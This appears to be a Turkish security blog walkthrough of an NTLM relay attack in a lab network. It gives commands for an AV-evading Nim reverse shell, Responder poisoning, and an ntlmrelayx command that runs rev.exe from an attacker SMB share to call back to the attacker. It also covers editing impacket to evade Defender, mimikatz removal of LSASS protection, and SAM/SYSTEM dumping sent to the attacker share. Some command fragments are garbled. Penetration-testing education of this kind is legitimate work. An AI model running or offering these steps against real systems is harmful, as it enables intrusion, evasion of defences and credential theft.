Siber Güvenlik
NTLMRelay’e Farklı Bir Bakış
NTLMRelay saldırısı yapılabilecek ağlarda genellikle doğrudan SAM (Security Accounts Manager) veri tabanına erişerek lokal admin hash'leri ele geçirilmeye çalışılır. Ancak, SAM veri tabanının ele geçirilmesini engellemek için bazı önlemler alınabilir.
NTLMRelay Saldırısı Nedir?
Öncelikle NTLMRelay saldırısının ne olduğuyla başlayalım. NTLMRelay saldırısı, ağ üzerinde bulunan NTLM kimlik doğrulama protokolünü kullanarak gerçekleştirilen bir saldırı türüdür. Aslında tek başına NTLM, Windows işletim sistemlerini kullanan eski bir kimlik doğrulama protokolüdür. Saldırganlar bu protokolü kötüye kullanarak insanların kimlik doğrulama bilgilerini ele geçirebilir. Bu yüzden modern sistemlerde NTLM yerine daha güçlü bir protokol kullanılması önerilir.
Bu yazıda yerel ağ testlerinde sıkça kullanılan NTLMRelay [1] saldırılarının hedef sistemler için SAM veri tabanının dump edilemediği (AV/EDR engellenmeleri vb.) zamanlarda ilerlememize olanak sağlayacak farklı bir yoldan bahsedeceğim.
Kurulum
- Parrot (192.168.198.34)
- Yetkili Windows kullanıcısı (192.168.198.28)
- Windows Relay hedef sunucusu (192.168.198.20)
- Nim
Saldırı Adımları
Öncelikle tersine bağlantıyı antivirüse yakalanmadan elde edebilmek amacıyla nim programlama dilinde yazdığım script’imi kullanacağım. Aynı saldırı için tercihen antivirüs programlarının yakalayamadığı Powershell script’leri kullanılabilmektedir.
Script’in öncelikle Windows sistemlere uygun olarak derlenmesi gerekmektedir.
`--app=console` komutu dosyanın çalıştırılması
sırasında command promptun görünmemesi için
kullanılmaktadır.
## Antivirüs programları bu davranışı zararlı olarak
görebilmektedir. Bu nedenle `--app=gui` şeklinde de
denenebilir. Ancak bu durumda bağlantının sağlandığı
sunucuya erişecek kullanıcılar tarafından yakalanma
oranı artacaktır.
$> nim c -d:mingw --app=console --opt:size --cpu=amd64
rev.nim
Saldırının diğer aşamalarına geçmeden önce bağlantıyı yakalayabilmek için metasploit içerisinden multi/handler modülünün çalıştırılması gerekmektedir. Bu aşamada ufak bir not düşmekte fayda var. Relay saldırısında hedeflenen sunucu sayısı birden fazlaysa aynı port üzerinden çoklu bağlantıları yakalayabilmek için set ExitOnSession false ve run -jz komutları ile handler modülünün çalıştırılması gerekmektedir. Bu şekilde farklı hedef sunuculardan gelecek olan bağlantılar da yakalanabilecektir.
"Windows 10" ve "Server 2016" gibi işletim sistemlerinde, varsayılan olarak anonim dosya paylaşımlarında bağlantılar engellendiği için saldırı cihazında parola korumalı bir SMB paylaşımı açılması gerekmektedir. Derlenen nim script’i dosya paylaşım klasörüne taşındıktan sonra bir sonraki saldırı aşaması olan ntlmrelayx ve responder’a geçebiliriz. Bu konuda kullandığımız komutlar;
# Responder herhangi bir flag kullanmadan da
çalıştırılabilir. Ancak işlerimizi biraz daha hızlı
ilerletebilmek adına WPAD proxy (-w) ayarını aktif edip
diğer ağ cihazlarının HTTP üzerinden de saldırı
cihazına bağlanmasını zorunlu (-F) tutuyoruz.
$> python3 Responder.py -I wlp2s0 -wFv
# --no-smb-server = Saldırı cihazında hali hazirda SMB
server aktif oldugu icin ntlmrelayx ile dosya
paylaşımının açılmamasının belirtilmesi gerekmektedir.
$> ntlmrelayx.py -smb2support --no-smb-server -t
<HEDEF-IP> -c 'cmd /c "net use \\<Parrot-SMB-
Server>\share /user:<SMB-Kullanicisi> <SMB-Parolasi> &
\\<Parrot-SMB-Server>\share\rev.exe <Parrot-IP-Adresi>
<Parrot-Portu>"'
Responder’ın HTTP ve SMB server’larını kapatarak Relay saldırısını gerçekleştirebiliriz. Bu değişikliği ise Responder.conf dosyası içerisinden yapabiliriz.
[Responder Core]
; Servers to start
SQL = On
SMB = Off
RDP = On
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off
HTTPS = On
#Değiştirildi
#Değiştirildi
Responder ve ntlmrelayx çalıştırıldığında ise yetkilendirilen kullanıcının lokal admin grubunda olmasına rağmen tersine bağlantıyı elde edemediğimiz görülmektedir.
Alınan hatayı daha detaylı incelemek için Windows cihazına baktığımızda, çalıştırdıgımız komutun Defender tarafından engellendiği görüyoruz.
Defender tarafından üretilen uyarı mesajında gördüğümüz C:\Windows\TEMP\execute.bat dosyası dikkat çekmektedir. NTLMRelay ile verilen -c parametresinde ya da tersine bağlantı için oluşturulmuş dosyada bu dosyaya ait bir şey bulunmamaktadır. Ancak ntlmrelayx script’i detaylı incelendiğinde uzaktan çalıştırılan işlemler için smbexec ve tespit edilen dosya isimleri görülmektedir.
Defender’ın bu dosyanın içeriğine bakmadığını düşünerek impacket/impacket/examples/secretsdump.py içerisinde dosyaların yazılacağı konumlarda değişiklik yapıp saldırıyı tekrar başlatıyoruz.
/usr/lib/python3/dist-
packages/impacket/examples/secretsdump.py
lsass SAM SYSTEM
mimikatz # !+
mimikatz # **!**processprotect /process:lsass.exe
/remove
Kali default impacket toolkit kullanılması durumunda belirtilen dosya içerisinde olacaktır.
Görülebileceği üzere bağlantıyı elde etmiş bulunmaktayız. Bu aşamadan sonra (belirtmiş olduğum iki yol ile sınırlı olmamakla birlikte) dump edilerek veya dosyalar saldırgan cihazına kopyalanarak ilerlenebilecektir. Mimikatz senaryosunu baz aldığımızda karşımıza çıkacak ilk engel antivirüs korumasının atlatılması olacaktır. Binary veya Powershell dosyaları içerisinde uygulanacak obfuscation (gizleme) işlemleri ile defender korumaları atlatılabilmektedir. Ancak bu durumda da sistem içerisinde aktif olacak LSA Protection korumasıyla karşı karşıya kalma ihtimalimiz yüksek. Bu koruma yöntemi (RunAsPPL [2]) mimikatz üzerinden kapatılabilir. Bu işlem sırasında sistem üzerinde yakalanmamıza sebep olacak loglar üretilecektir.
Biz yazının konusundan dolayı SAM ve SYSTEM dosyaları ile ilerlemeyi tercih ediyoruz. SAM ve SYSTEM dosyalarını elde etmek için save HKLM\SAM \\<Parrot-SMB-Server>\share\sam yapılabıleceği gibi, Windows'un sunduğu Shadow Copy [3] özelliği de kullanılabilir. Volume Shadow Copy, bir işlem ya da dosyanın çalışırken yedeğinin alınmasını sağlayan bir Windows özelliğidir. İşlemi gerçekleştirebilmek için esentutl dosyasını kullanıyoruz. Aynı işlem SYSTEM dosyası için de yapıldıktan sonra lokal olarak dosyaların içeriğine bakabilir duruma geleceğiz.
reg
secretsdump.py kullanarak parola özetlerini elde ediyoruz. Ardından SAM ve SYSTEM dosyalarını LOCAL olarak incelemeye alarak kullanıcı parolalarına erişiyoruz.
Referanslar
[ 1 ]NTLMRelay — https://cyberdocs.gitbook.io/cyberdocs/ag- guvenligi/icindekiler/ntlm-relay
[ 2 ] RunAsPPL — https://itm4n.github.io/lsass-runasppl/
[ 3 ] Shadow Copy — https://en.wikipedia.org/wiki/Shadow_Copy Impacket — https://github.com/SecureAuthCorp/impacket